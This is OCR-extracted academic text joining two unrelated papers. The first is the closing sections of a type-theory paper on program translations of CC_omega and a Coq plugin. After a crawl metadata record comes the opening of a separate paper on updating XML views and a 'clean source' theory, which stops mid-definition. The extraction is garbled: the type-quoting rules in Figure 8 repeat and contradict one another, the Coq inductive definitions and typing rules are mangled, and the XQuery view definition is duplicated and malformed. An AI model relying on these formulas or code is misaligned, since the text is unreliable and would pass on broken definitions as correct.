We now turn to show that this translation allows to fully observe the normal form of types by doing case analysis on any term \( A : \square_i \). We define formally what we mean by this under the notion of type quoting below. **Definition 26** (Type quoting). A type quoting operator is given in \( \text{CC}_\omega \) by the data described in Figure 8. **Theorem 27** (Type Quote). The \([\cdot]_{T_i}\) translation gives a computational content to type quoting. **Proof.** As all types are represented by codes, the various quote operators are simply defined in terms of the \text{TYPE}\text{rec} operators. \[ \text{quote}_{i, P \bar{M}}_{T_{i+1}} := \text{TYPE}\text{rec}_i (\lambda A : \text{Type}_i, \text{Elt}_i (([P]_{T_{i+2}} A)) ([\bar{M}]_{T_{i+1}}) \] Preservation of typing and reduction is straightforward, as everything has been done to obtain this property. \( \square \) The type operator can be used to define non-parametric functions. For example, it becomes possible to prove \[ \Sigma f : (\Pi A : \square. A \rightarrow A). f = \Pi A : \square. A \rightarrow A \text{id} \rightarrow \bot \] by simply passing a function that is the negation on \( B \) and the identity on other types. This shows that parametricity is not built-in in \( \text{CC}_\omega \). ### 6. Formalization and Instrumentation This section presents the framework for the Coq formalization of some of the translations. We then describe the instrumentation of such translations as a Coq plugin. #### 6.1 Deep Embedding using De Bruijn Indices We rely on the formalization of Pure Type Systems (PTS) given by Siles and Herbelin [Siles and Herbelin 2012]. It consists in first defining untyped terms and then defining the conversion and typing rules. Note that we could have also used another approach based on induction-recursion that defines directly well-typed terms as in the recent work of Altenkirch and Kaposi [Altenkirch and Kaposi 2016]. However, it appears that this approach is a bit too rigid as it forbids to use an untyped term during the translation, making the translation very difficult to define in practice. Terms are defined by an inductive type, where variables are represented using De Bruijn indices and Sorts is an inductive type representing the sorts (either \( \square_i \) or \( \square_i \) and \( * \)). **Inductive Term : Set := | Var : N \rightarrow Term | | Sort : Sorts \rightarrow Term | | \Pi : \text{Term} \rightarrow \text{Term} \rightarrow \text{Term} | | \lambda : \text{Term} \rightarrow \text{Term} | | \text{App} : \text{Term} \rightarrow \text{Term} \rightarrow \text{Term} | | \text{Eq} : \forall (A t_1 t_2 : \text{Term}), \text{Term} | | \text{refl} : \text{Term} \rightarrow \text{Term} | | J : \forall (A p t_1 u t_2 p : \text{Term}), \text{Term} | The substitution of the \( n \)-th De Bruijn variable by \( n \) in \( M \) is defined by recursion on \( n \). We write it \( M [n \mapsto n] \). Conversion in the calculus, written \( M \equiv N \), is defined as the reflexive, symmetric and transitive closure of the beta reduction, defined as an inductive family. The type system is defined by mutual induction with the well-formedness of contexts as **Inductive wf : Env \rightarrow \text{Prop} := | \text{wf_nil} : \text{nil} \rightarrow | | \text{wf_cons} : \forall \Gamma A s, \Gamma \vdash A : \text{Sort} s \rightarrow A : \Gamma \rightarrow | where "\( \Gamma \vdash \cdot " := (\text{uf} \Gamma) **with typ : Env \rightarrow \text{Term} \rightarrow \text{Term} \rightarrow \text{Prop} := | \text{cVar} : \forall \Gamma A v, \Gamma \vdash v \rightarrow A \rightarrow v \subset \Gamma \rightarrow \Gamma \vdash \text{Var} v : A | \[ A, B, M, N ::= \ldots \mid \text{quote}_0 P N A \mid \text{quote}_{i+1} P M N_0 \ldots N_{i+1} A \] \[ \Gamma \vdash P : \Box_0 \rightarrow \Box_0 \quad \Gamma \vdash p_0 : P_{\Box_0} \quad \Gamma \vdash A : \Box_0 \] \[ \Gamma \vdash \text{quote}_0 P p_0 A : P A \] \[ \Gamma \vdash P : \Box_{i+1} \rightarrow \Box_{i+1} \quad \Gamma \vdash p_t : P \Box_i \quad \Gamma \vdash p_{i+1} : P_{\Box_{i+1}} \ldots \quad \Gamma \vdash \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} A : P A \] where \[ P_{\Box_i} := \Pi (A : \Box_i) (B : A \rightarrow \Box_i). P A \rightarrow (\Pi x ; A. P (B x)) \rightarrow P ((\Pi x ; A. B x)) \] \[ \text{quote}_0 P p_0 (\Pi_0 A B) \equiv p_{\Box_0} (\text{quote}_0 P p_{\Box_0} A) (\lambda x : A. \text{quote}_0 P p_{\Box_0} (B x)) \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv p_{\Box_i} A B \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv p_{\Box_i} A B (\text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} A) \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv (\lambda x : A. \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (B x)) \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv \lambda x : A. \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (B x) \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv (\lambda x : A. \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (B x)) \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv (\lambda x : A. \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (B x)) \] \[ \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (\Pi x ; A. B) \equiv (\lambda x : A. \text{quote}_{i+1} P p_t p_{i+1} \ldots p_{n+1} (B x)) \] **Figure 8. Type Quoting** \[ \begin{align*} \text{cSort} : & \forall \Gamma \ s \ s' \Gamma \vdash A x s s' \Rightarrow \Gamma \vdash \text{Sort} s : \text{Sort} s' \\ \text{cΠ} : & \forall \Gamma \ A B s s'' \text{Rel} s s'' A B \Gamma \vdash A : \text{Sort} s \rightarrow A : \text{Π} A B : \text{Sort} s'' \\ \text{cλ} : & \forall \Gamma \ A B s s'' \text{Rel} s s'' A B \Gamma \vdash A : \text{Sort} s \rightarrow A : \text{Π} A B : \text{Sort} s'' \\ \text{cApp} : & \forall \Gamma \ M N A B \Gamma \vdash M : \text{Π} A B \Rightarrow \Gamma \vdash N : A \rightarrow \Gamma \vdash \text{App} M N : B[\Gamma] \\ \text{Conv} : & \forall \Gamma \ M N A B \Gamma \vdash A x B \Rightarrow \Gamma \vdash B : \text{Sort} s \rightarrow \\ \Gamma \vdash M : A \Rightarrow \Gamma \vdash M : B \end{align*} \] (* typing rules for equality *) where \( \Gamma \vdash t : A \) means that the \( v \)th variable has type \( A \) in \( \Gamma \) and \( x \) and \( \text{Rel} \) are two inductive families reflecting the hierarchy on universes. It is straightforward to extend Term to integrate other types such as \( \Sigma \)-types, boolean and streams. Now suppose \( S \) is a module defining the PTS for \( CC_\omega \) (plus dependent pairs and identity type) and \( T \) the same PTS extended with boolean. The intensional functions translation introduced in Section 3 can be defined directly by induction on \( S \). Term. _Fixpoint_ \( tsl (t : S \text{Term}) : T \text{Term} := \] \[ \begin{align*} \text{match} & t \text{ with} \\ | S \text{Var} \ v & \Rightarrow T \text{Var} \ v \\ | S \text{Sort} s & \Rightarrow T \text{Sort} s \\ | S \text{Π} A B & \Rightarrow T \Pi (T A T B) \text{Bool} \\ | S \text{Λ} A M & \Rightarrow T \text{Pair} (\lambda A \ M') \text{true} \\ | S \text{App} M N & \Rightarrow T \text{App} (\tau_{1} T A M') N' \\ | S \text{Eq} A t_1 t_2 & \Rightarrow T \text{Eq} A t_1 t_2 \\ | S \text{refl} e & \Rightarrow T \text{refl} e' \\ | S \text{J A} t_1 u t_2 p & \Rightarrow T \text{J} A t_1 u t_2 p \\ \end{align*} \] end \_where \_"\text{M}^n := (tsl \text{M})\._" The typing soundness of the translation amounts to prove the following theorem by mutual induction. **Theorem** \( \text{tsl}_0 \ _\text{correctness} : \] \[ (\forall \Gamma, \Gamma \vdash A : A) \wedge (\forall \Gamma \overrightarrow{M}, \Gamma \vdash (\overrightarrow{M} : A \rightarrow \overrightarrow{M} : A')) \] In the additional materials accompanying this paper\[1\], we have formalized the intensional functions translation, the intensional streams translation\[2\] and ad-hoc intensional types translation. In each case, computational soundness, typing soundness and consistency preservation have been checked. ### 6.2 Instrumentation as a CoQ Plugin It is quite commonly agreed upon that type theory can be difficult to work with formally, which is why proof assistants were implemented in the first place. In particular, it is not very convenient to prove new logical or computational principles directly through the paper translation, let alone in the deep embedding formalization. Luckily, our translations rely on a rather generic target theory, so that we can use the one underlying the CoQ proof assistant. This is where plugins shine in. A CoQ plugin is simply a program that, given a CoQ proof term \( M \), produces the translation \( P \overrightarrow{M} \) as another CoQ term. This is a shallow embedding, and this process is orthogonal to the CoQ formalization which uses deep embedding instead. Typically, the fact that \( P \overrightarrow{M} \) is still well-typed relies on the soundness theorem that lives in the metatheory rather than in the object theory. While there is no real point in implementing model translations in any formal foundations such as e.g. set theory, here, the fact that we have an actual proof assistant at hand makes the plugin quite useful. It allows to give the impression to the user that she is working transparently in the [1]: https://github.com/CoqHott/Program-translations-CC-omega [2]: Some bureaucratic lemmas about lifting of De Bruijn indices have been admitted for the type system extended with streams. See README.md. source theory, while it turns out everything is translated into the target theory on the fly. In particular, typechecking remains decidable by construction, and one can take advantage of all of the facilities provided by the host language. This effectively prevents the necessity to reimplement a standalone proof assistant for the source theory. Writing a plugin can be cumbersome, for two unrelated reasons. One has to know the internals of the Coq system, which strongly restricts the amount of people able to do it. Furthermore, a distinct term-translating program must be written for every translation one wishes to internalize, which implies that each translation requires a distinct plugin. For instance, the forcing plugin described in [Jaber et al., 2016] is quite different from the ones we implemented for this paper. As of today, there is no such thing as a meta-plugin that would allow to quickly prototype a term translation in Coq. Moreover, it is possible to add new symbols to the system through a translation. To do so, it is sufficient to provide for any such symbol \( p : A \) its translation \( p^* : [A] \). This is reflected in the Coq plugin by the command \[ \text{Implement } p : A. \] which opens a new goal of type \([A]\). When it is solved, the resulting term \( p^* \) is used to automatically extend the translation with a term \( p : A \) by defining \( [p] := p^* \). Theoretically, this amounts to considering a typing relation \( \vdash_t \) in the translation layer defined by extending CIC with the axiom \( \Gamma \vdash_t p : A \). We easily get that if \( \Gamma \vdash_t M : B \) then \( [\Gamma] \vdash [M] : [B] \) using the typing correctness of the translation, which justifies the abovementioned equiconsistency result. In practice, the plugin can thus be used to inhabit new axioms. For instance, for the case of the intensional functions translation, we can add the negation of functional extensionality in the translation layer by providing a term \[ \text{Implement neg_fun_ext :} \] \[ (\forall A B, (f\ g : A \rightarrow B), (\forall x, f\ x = g\ x) \rightarrow f = g) \rightarrow \text{False}. \] Such a plugin has been defined for the intensional functions translation, the intensional streams translation and ad-hoc intensional types translation. Code and examples come with this article. 7. Future Work As a first step, we wish to improve the plugins which are only prototypes for the moment. This requires generalizing the program transformations presented in this paper to the entire language of Coq—defining it on all inductive types, coinductive types and records. This way, it will be possible to work on the translation layer without restriction and still benefit from the new logical or computational principles available in this layer. Regarding the type quote operator, an instrumentation as a Coq plugin would require to define induction-recursion in Coq. This is the subject of on-going work and has already been implemented in an experimental branch of Coq 8.5 developed by Matthieu Sozeau [https://github.com/mattam82/coq/tree/IR]. However, the extension of the syntactic guard condition from inductive to inductive-recursive definitions is still the subject of ongoing research. Another possible line of work would be on the development of a generic Coq plugin that allows users to define their own compilation phase with a minimum effort—e.g., by defining only the translation on untyped terms in the deep embedding—and generate automatically the associated plugin for this transformation. This way, it will be possible to experiment the frontier of what is provable in type theory at a low cost investment. But the most important is the development of more translations in order to realize axioms and logic principles. For instance, we wonder if it is possible to find a presentation of the setoid model as a program translation. References
{"Source-Url": "https://inria.hal.science/hal-01445835/file/main.pdf", "len_cl100k_base": 15680, "olmocr-version": "0.1.53", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 55981, "total-output-tokens": 18132, "length": "2e13", "weborganizer": {"__label__adult": 0.000457763671875, "__label__art_design": 0.0005712509155273438, "__label__crime_law": 0.0003991127014160156, "__label__education_jobs": 0.0011510848999023438, "__label__entertainment": 0.00010764598846435548, "__label__fashion_beauty": 0.00020205974578857425, "__label__finance_business": 0.00025725364685058594, "__label__food_dining": 0.0005841255187988281, "__label__games": 0.0007658004760742188, "__label__hardware": 0.0006747245788574219, "__label__health": 0.0008511543273925781, "__label__history": 0.00041365623474121094, "__label__home_hobbies": 0.00013780593872070312, "__label__industrial": 0.0005769729614257812, "__label__literature": 0.0007371902465820312, "__label__politics": 0.00041294097900390625, "__label__religion": 0.0008907318115234375, "__label__science_tech": 0.05615234375, "__label__social_life": 0.00015079975128173828, "__label__software": 0.00543975830078125, "__label__software_dev": 0.927734375, "__label__sports_fitness": 0.0004117488861083984, "__label__transportation": 0.000766754150390625, "__label__travel": 0.00026035308837890625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 57122, 0.01391]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 57122, 0.18683]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 57122, 0.80204]], "google_gemma-3-12b-it_contains_pii": [[0, 344, false], [344, 4447, null], [4447, 9387, null], [9387, 15186, null], [15186, 18862, null], [18862, 21987, null], [21987, 26636, null], [26636, 29818, null], [29818, 35386, null], [35386, 38542, null], [38542, 44260, null], [44260, 50210, null], [50210, 54975, null], [54975, 57122, null]], "google_gemma-3-12b-it_is_public_document": [[0, 344, true], [344, 4447, null], [4447, 9387, null], [9387, 15186, null], [15186, 18862, null], [18862, 21987, null], [21987, 26636, null], [26636, 29818, null], [29818, 35386, null], [35386, 38542, null], [38542, 44260, null], [44260, 50210, null], [50210, 54975, null], [54975, 57122, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 57122, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 57122, null]], "pdf_page_numbers": [[0, 344, 1], [344, 4447, 2], [4447, 9387, 3], [9387, 15186, 4], [15186, 18862, 5], [18862, 21987, 6], [21987, 26636, 7], [26636, 29818, 8], [29818, 35386, 9], [35386, 38542, 10], [38542, 44260, 11], [44260, 50210, 12], [50210, 54975, 13], [54975, 57122, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 57122, 0.02466]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
0af4a619d3a1254be502cab7a9d72e522390ad0f
8-1-2005 Updating XML Views: The Clean Source Theory Ling Wang Worcester Polytechnic Institute, lingw@cs.wpi.edu Elke A. Rundensteiner Worcester Polytechnic Institute, rundenst@cs.wpi.edu Murali Mani Worcester Polytechnic Institute, mmani@cs.wpi.edu Follow this and additional works at: http://digitalcommons.wpi.edu/computerscience-pubs Part of the Computer Sciences Commons Suggested Citation Retrieved from: http://digitalcommons.wpi.edu/computerscience-pubs/170 This Other is brought to you for free and open access by the Department of Computer Science at DigitalCommons@WPI. It has been accepted for inclusion in Computer Science Faculty Publications by an authorized administrator of DigitalCommons@WPI. Updating XML Views: The Clean Source Theory Ling Wang, Elke A. Rundensteiner, and Murali Mani Department of Computer Science Worcester Polytechnic Institute Worcester, MA 01609 {lingle, rundenst, mmani}@cs.wpi.edu Abstract. XML has become a primary data model to wrap heterogeneous data sources using views. However, as is commonly known, views and thus also such XML views suffer from the view update problem. In this paper, we characterize the search space of all potential correct update mappings in the context of the source data also being XML. This is achieved by proposing the notion of a source and of a clean source for a given XML view element. Further, we introduce the clean source theory to determine whether a given view update mapping is correct. This now serves as a solid theoretical foundation for developing practical algorithms towards update translatability checking. We also provide a concrete case study that applies this theory to assess the translatability of XML view updates with different update types. 1 Introduction 1.1 Motivation Most systems support views of the database to enhance logical data independence and to simplify the user interface by shielding users from data that are of no interest to them. With the growing popularity of XML, it has become the primary data model to wrap heterogeneous data sources using views. In addition, native XML management systems [12, 16, 29] and XML-relational systems [7, 15, 29] are beginning to support the creation of XML views that wrap the underlying often large repositories of XML or relational data. For these XML views to become first class citizens, users must be able to apply both query as well as update operations to them. These operations on the virtual views must be translated into corresponding operations on the respective underlying data storage. Most systems support at best querying against such wrapper views, while updating remains largely un-addressed [7, 12, 15, 16]. Update operations against such wrapper views are essential. First, without the capability of updating the stored data, the stored data may become quickly out of date and less valuable. Second, supporting updates through the XML view will provide users with a uniform interface (XML and XQuery), no matter what the underlying data storage is, nor which query and update language to be used on the underlying storage system. However, supporting updates through views is challenging. The first question is to decide if such a mapping even exists? The second question concerns the ambiguity of the update semantics. In other words, when such a mapping does exist, it may not be unique. Three practical approaches have been used to address the view update problem in both relational and XML context. One is to regard the underlying database and view as abstract data types, with the update operations explicitly predefined by the DBA [17, 18, 20]. The second determines a unique or a small set of update translations based on the syntax and semantics of the view definition, i.e., a compile-time decision process [1, 5, 6, 13, 14, 22]. The third approach performs run-time translation [21]. It transforms the view update problem into a constraint satisfaction problem (CSP), with an exponential time complexity in the number of constraint variables. For either of these approaches we need a theory that characterizes precisely the conditions under which a mapping from XML view updates into updates on the base data storage is correct [10, 27, 28]. In fact, the purpose of this paper is to develop such a theory within the context of the XML data model, namely, both view and base are now in XML. Our theory aims to assess whether a mapping from an XML view update to a base XML update is correct. This problem is challenging for the fact that XML is a non-normalized hierarchical data model, which is inherently more complex than the normalized flat relational data model. The fundamental question about what a correct update mapping entails has been addressed in earlier works [2, 9, 10]. In [2, 9], a complementary theory is proposed that requires a correct mapping to avoid view side effects as well as database side effects. That is, for a translation to be considered correct, it cannot affect any part of the database that is “outside” the view. This correctness criteria, however, is too restrictive to be practical. [10] relaxes this condition to only require that no view side effect occurs. In other words, a translation is correct as long as it corresponds exactly to the specified update, and it does not affect anything else in the view. The second is commonly used by most research projects [1, 5, 6, 13, 14, 22] and commercial systems [3, 8, 19] alike. Our work in this paper also follows this criteria. 1.2 A Running Example ![Fig. 1. An example XML document bib.xml](image) **Example 1.** As a running example, Fig. 3 shows an XML (virtual) view defined by an XQuery (Fig. 2) over an XML document (Fig. 1). For illustration purposes, we encode the complex elements of the XML document and the result view by the Dewey order encoding. Now assume we want to delete a book (vb1) from BookView.xml (Fig. 3). The following three mappings into updates on the underlying base XML document may be potential solutions: - delete review (p1.b1.r1) from bib.xml (1) FOR $publisher IN document("default.xml")/Database/publisher, $book IN $publisher/book WHERE ($book/price<50.00) AND ($book/year > 1990) RETURN { $book/bookid, $book/title, $book/price, $publisher/pubid, $publisher/pubname } FOR $review IN $book/review RETURN { $review/reviewid, $comment $review/comment/text() } </book> } FOR $p IN document("default.xml")/Database/publisher RETURN { $publisher/pubid, $publisher/pubname } </publisher> </BookView> FOR $book IN document("default.xml") RETURN { $book/bookid, $book/title, $book/price, $publisher/pubid, $publisher/pubname } FOR $review IN $book/review RETURN { $review/reviewid, $comment $review/comment/text() } </review> </book> </BookView> Fig. 2. An XML view definition (BookView.qlt) over XML document in Fig. 1 Fig. 3. The XML view (BookView.xml) defined by query in Fig. 2 - delete publisher (p1) from bib.xml - delete book (p1.b1) from bib.xml Intuitively we would like to choose the third one. In fact, we can observe that the following two conditions hold: (i) The book (vb1) actually does not occur in the re-generated view, which is created by re-applying the view query on the updated bib.xml. (ii) The XML view we are expecting is equal to the re-generated view. That is, we get the exact view we wanted. The first choice is not correct since the book information (bookid, title, price) still appears in the view. That means condition (i) above is violated. The second choice is not correct either. The re-generated view will not only miss the book (vb1) but also the publisher (vp1). This is not what we had intended to do. The three choices in our example represent three typical categories of translations. The first class of mappings does not even perform the update (choice (1)). The second class of mappings performs the update but causes view side effects (choice (2)). The third class of mappings correctly performs the update (choice (3)). We would like to identify the search space of potential correct update mappings. For efficiency, we would like to minimize this search space as much as possible. Intuitively, the update mapping has to perform the view update [10]. In other words, the element we want to delete cannot stay in the re-generated view and the new element we want to insert has to appear in the re-generated view. By this criteria, choice (1) is out of our search space. Now all the update mappings in our search space can achieve the desired view update. We would also like to filter out choice (2) to avoid the view side effect. One way to identify this side effect is to compare the re-generated view with the view we are expecting to identify differences. This then constitutes the side effect. This is however not always practical since the view computation and the view comparison can be rather expensive, and the search space could be potentially very large. 1.3 The Clean Source Theory for Update Translatability The issues mentioned in the running example, namely (i) how to identify the search space of potential correct translations and (ii) what is the practical way of determining a correct update translation, are fundamental for the XML view update problem. As the first work to consider the view update problem in the context of XML views defined over XML documents, we aim to address these XML view updating issues. We first propose the concept of source of a given XML view element. This characterizes the minimized search space of potential correct update mappings. Then a clean source theory is introduced, which utilizes the concept of a clean source to determine whether a view update mapping is correct and has no view side effects. The concepts of source and clean source have been first proposed in [10] for the relational context. They are used to characterize the conditions under which an update on a relational view published over a single relational table is translatable. Our earlier work in [27] extends this work into a clean extended source theory, which helps us to identify the correct update translation in the case when an XML view is defined over the relational database. The work in this paper is now the first work to consider the view update problem in the context of the pure XML data model, namely, both the view and the base data are in XML. This is challenging problem because of two facts. - Unlike the relational flat data model, XML is a hierarchical data model. This hierarchical structure can be a deep tree structure. Relational database, however, can only form a shallow tree structure as used by the default XML views [7, 15, 29]. Since the view query can freely define the new hierarchical structures, the difference between the view hierarchy and base XML hierarchy can thus potentially have many more translation possibilities. These choices can be “overlap” along the XML base hierarchy. Identifying the correct translation is thus harder to fulfill. - XML is not normalized with relational databases generally are. The XML data can contain duplications. On the other hand, view query can eliminate this duplications by using the distinct-value function. This raise more challenge in the update translatability checking. To solve these challenges, we need to properly bridge the two flexible hierarchical data structures, namely, the XML view hierarchy and the underlying XML document hierarchy. Using a typical syntax level query rewriting and the Update Context Binding of each schema node (Section 2.1), we guarantee to preserve this flexibility in update translation. This theory serves as a solid theoretical foundation for the study of the XML view update problem. For example, it can be used as guideline for developing algorithms of update translatability checking. It can also be used by practical XML view update translation mechanisms, such as commercial systems, as correctness criteria. Contributions. In general, the contributions of this paper include: - We characterize the update translatability problem in the context of the XML data model, namely, when XML views are defined over XML documents. - We propose the concept of a source to characterize the search space for correct update translations. - Using the concept of a clean source, we propose and prove the clean source theory for determining whether a given view update translation is correct. - We provide concrete case studies illustrating how our proposed theory can be utilized to reason about the correctness of mapping updates for different update types. Outline. The XML view update problem is formalized in Section 2. In Sections 3 and 4 we propose the clean source theory and its key concepts. Section 5 provides concrete case studies on applying our theory for different update types. Section 6 reviews related work while Section 7 provides our conclusions and future directions. 2 Preliminary 2.1 XML Views and Normalization Let $D$ denote an XML document comply with certain XML schema [23]. We associate each element in the XML document with its schema node type. An element is of a simple type if it is defined by $xsd:element$ in the schema. A tag type element is defined by $xsd:complexType$ but includes only simple type elements as its children. Otherwise, an element is of a complex type. For example, in the XML document in Fig. 1, both the publisher and the book are complex type elements, while the review is a tag type element. All the others are simple type elements. The XML view $V$ is defined by a view definition $DEF$ over $D$. In our case, $DEF$ is an XQuery expression (e.g. [24]) called a view query. In this paper, we assume the view queries follow the XQueryCore semantic [25]. We perform additional rewrite steps to satisfy the following conditions. (i) Each XPath in $DEF$ is a one-step simple navigation. Multi-step XPaths are rewritten into FWR expressions with single-step XPaths. (ii) RETURN clauses include either variable bindings of any type or simple-step navigations of simple type and tag type. Fig. 4 lists several examples to illustrate these rewriting steps. Note that we return $\$review$ in the query, which is a tag type element, instead of returning $\$book/\$review$, which is a navigation from complex type elements above. The purpose of this rewriting is to distinguish the schema node from its context by rewriting multi-step XPaths in RETURN clauses. We also want to enumerate all possible paths by rewriting multi-step XPaths in FOR clauses. Let $B_k$ denote a variable binding defined by FOR clauses in the view definition $DEF$. Let $I(B_k)$ denote the set of instances of $B_k$. Let $Vars()$ be a function to extract all variable bindings referred by $DEF$. For example, $Vars(BookView)$= $$ $$ Example I: FOR $root$ IN document("bib.xml")/Database RETURN publisher/book[price < 70.00]/review Example II: FOR $review$ IN document("bib.xml") /Database/publisher/book[price < 70.00]/review RETURN $review Fig. 4. Examples in view query rewriting Fig. 5. The schema graph of view defined in Fig. 2 \{B_1, B_2, B_3, B_4\} = \{\$publisher, \$book, \$review, \$p\}. And \(I(B_1) = I($publisher) = \{p_1, p_2, p_3\}\). The XML view schema defined by the view query can be represented with a schema graph (see Fig. 5). It captures the hierarchical structure of the view result, and the cardinality between the schema nodes indicated by *, ?, 1 for a (1:n), (1:[0,1]) and (1:1) relationship respectively [6, 11, 28]. We decorate each schema node \(n\) with an Update Context Binding, denoted by UCBinding(\(n\)). It includes all the variable bindings defined up to \(n\) in DEF. Fig. 6 shows the UCBindings of all the schema nodes in the schema graph (Fig. 5). Note that we do not list the leaf nodes, since they always have exactly the same UCBindings as their parents. The UCBindings are extensively used in Section 3 to define the generator concept. 2.2 Updates and Correct Translation Let \(\mathcal{O}\) be the domain of all view updates. Let \(u \in \mathcal{O}\) be an update on the view \(V\) with an insertion adding while a deletion removing an element from the XML view. A replacement replaces an existing view element with a new one. For illustration purposes, we use update primitives from [6] to represent update operations on the view as well as on the base XML documents. Definition 1. An update operation \(u\) is a triple (type; ref; delta), where type is the type of the operation: insert, delete or replace; ref is a simple path expression expressed using XPath that indicates where the update is to occur; and delta is the XML tree to be inserted, or in case of a replacement an atomic value, or empty in the case of delete [6]. Updates are specified using path expressions to point to a set of target nodes in the XML tree at which the update is to be performed. For insertions and replacements, the update must also specify a delta containing the new values. \(^1\) Several update examples on the BookView.xml are shown in Fig. 7. \(^1\) In our update translatability study, we only consider deletion and insertion. The replacement can be represented with a deletion followed by an insertion. A valid view update is an insert, delete or replace operation that satisfies all constraints in the view schema, which can be either pre-defined or inferred from the view definition or the XML schema. Unless otherwise stated, all the updates considered in this paper are assumed to be valid. Definition 2. Let $D$ be an XML document and $V$ be a view defined over $D$ by the view definition $\text{DEF}$. An XML document update sequence $U$ on $D$ is a correct translation of a valid update $u$ on $V$ iff (i) $u(\text{DEF}(D)) = \text{DEF}(U(D))$ and (ii) if $u(\text{DEF}(D)) = D$ (see [10]). A correct translation means the “rectangle” rules shown in Fig. 8 hold. Intuitively, this implies that the translated XML document updates exactly perform the view update, namely, without view side effects. In addition, if an update operation does not affect the view, then it should not affect the XML base either. This guarantees that any modification of the relational base is indeed done for the sake of the view. For example, the deletion of the book with bookid=“98002” will not have a correct translation since this book does not appear in the view. The second criteria is guaranteed if the translation is done by query composition as commonly used by XML view management system [12,16,29,7,15]. Hence it generally can be achieved. 3 Source and Clean Source To identify the search space and indicate the correct translations, we need a mapping from the view elements to the underlying XML document elements. This can be achieved by the definition of $\text{UCBinding}$ of schema nodes (Section 2). First of all, the elements of instances of the $\text{UCBinding}$ form the generator of the view element as defined below. Definition 3. Given an XML document $D$ and an XML view $V$ defined by $\text{DEF}$ over $D$. Let $v$ be a view element of $V$, whose schema node is $n$. Let $g = \{e_k \mid \forall B_k \in \text{UCBinding}(n), e_k \in I(B_k)\}$ and $\text{DEF}(g)$ generates $v$. We say $g$ is the generator of $v$, and $\forall e_i \in g$ is a source-element in $D$ of $v$. Intuitively, the generator includes the underlying XML document parts, which all together affect the occurrence and the content of $v$. Clearly, for a given view element $v$, it has one and only one generator. As an example, consider the book element (vb1) in BookView.xml of Fig. 3. Its schema node is $N2$ in Fig. 5. We have $\text{UCBinding}(N2) = \{\text{publisher, book}\}$ from Fig. 6. The generator of the book (vb1) in BookView.xml is $g=\{p1, p1.b1\}$ in bib.xml. Below we define the source of a set of view elements $V^0$. Intuitively, a source includes the base XML part which are sufficient for the disappearance of $V^0$. Definition 4. Let $V^0$ be a set of view elements in a given XML view $V$. Let $G(V^0)$ be the set of generators of $V^0$ defined by $G(V^0) = \{ g | g \text{ is a generator of a view-element in } V^0 \}$. For each $g \in G(V^0)$, let $H(g)$ be some nonempty subset of $g$. Then $\cup_{g \in G(V^0)} H(g)$ is a source in $D$ of $V^0$. For example, in BookView.xml (Fig. 3), consider $V^0$ as all the reviews of the book (vb1). We have $G(V^0) = \{ g_1, g_2 \}$, where $g_1 = \{ p_1, p_1.b1, p_1.b1.r1 \}$, $g_2 = \{ p_1, p_1.b1, p_1.b1.r2 \}$. Then $H(g_1)_1 = \{ p_1 \}$, $H(g_1)_2 = \{ p_1.b1 \}$, $H(g_1)_3 = \{ p_1.b1.r1 \}$. And $H(g_2)_1 = \{ p_1 \}$, $H(g_2)_2 = \{ p_1.b1 \}$, $H(g_2)_3 = \{ p_1.b1.r2 \}$. Any combination of $H(g_1)$ and $H(g_2)$ will be a source of $V^0$. For example, $S_1 = \{ p_1 \}$, $S_2 = \{ p_1.b1 \}$ and $S_3 = \{ p_1.b1.r1, p_1.b1.r2 \}$. Any source of $V^0$ can achieve the delete of $V^0$. The translation achieving insertion of $V^0$ also has to be a source of $V^0$. The set of sources forms the search space for correct translations of deleting from or inserting $V^0$ into the view. We aim to determine which ones are correct translations by Definition 2 in Section 2. The clean source below answers this question. Intuitively, update translation on a clean source, which is characterized by a source that is only referenced by the given view element itself, is a correct translation. Definition 5. Let $D$ be an XML document. Let $V^0$ be a set of view elements in a given XML view $V$ and $S$ be a source in $D$ of $V^0$. $S$ is a clean source in $D$ of $V^0$ iff $(\forall v \in V - V^0)$, $(\exists g)$ such that $g$ is a generator in $(D - S)$ of $v$. Or, equivalently, $S$ is a clean source in $D$ of $V^0$ iff $(\forall v \in V - V^0)(S \cap g = \emptyset)$, where $g$ is the 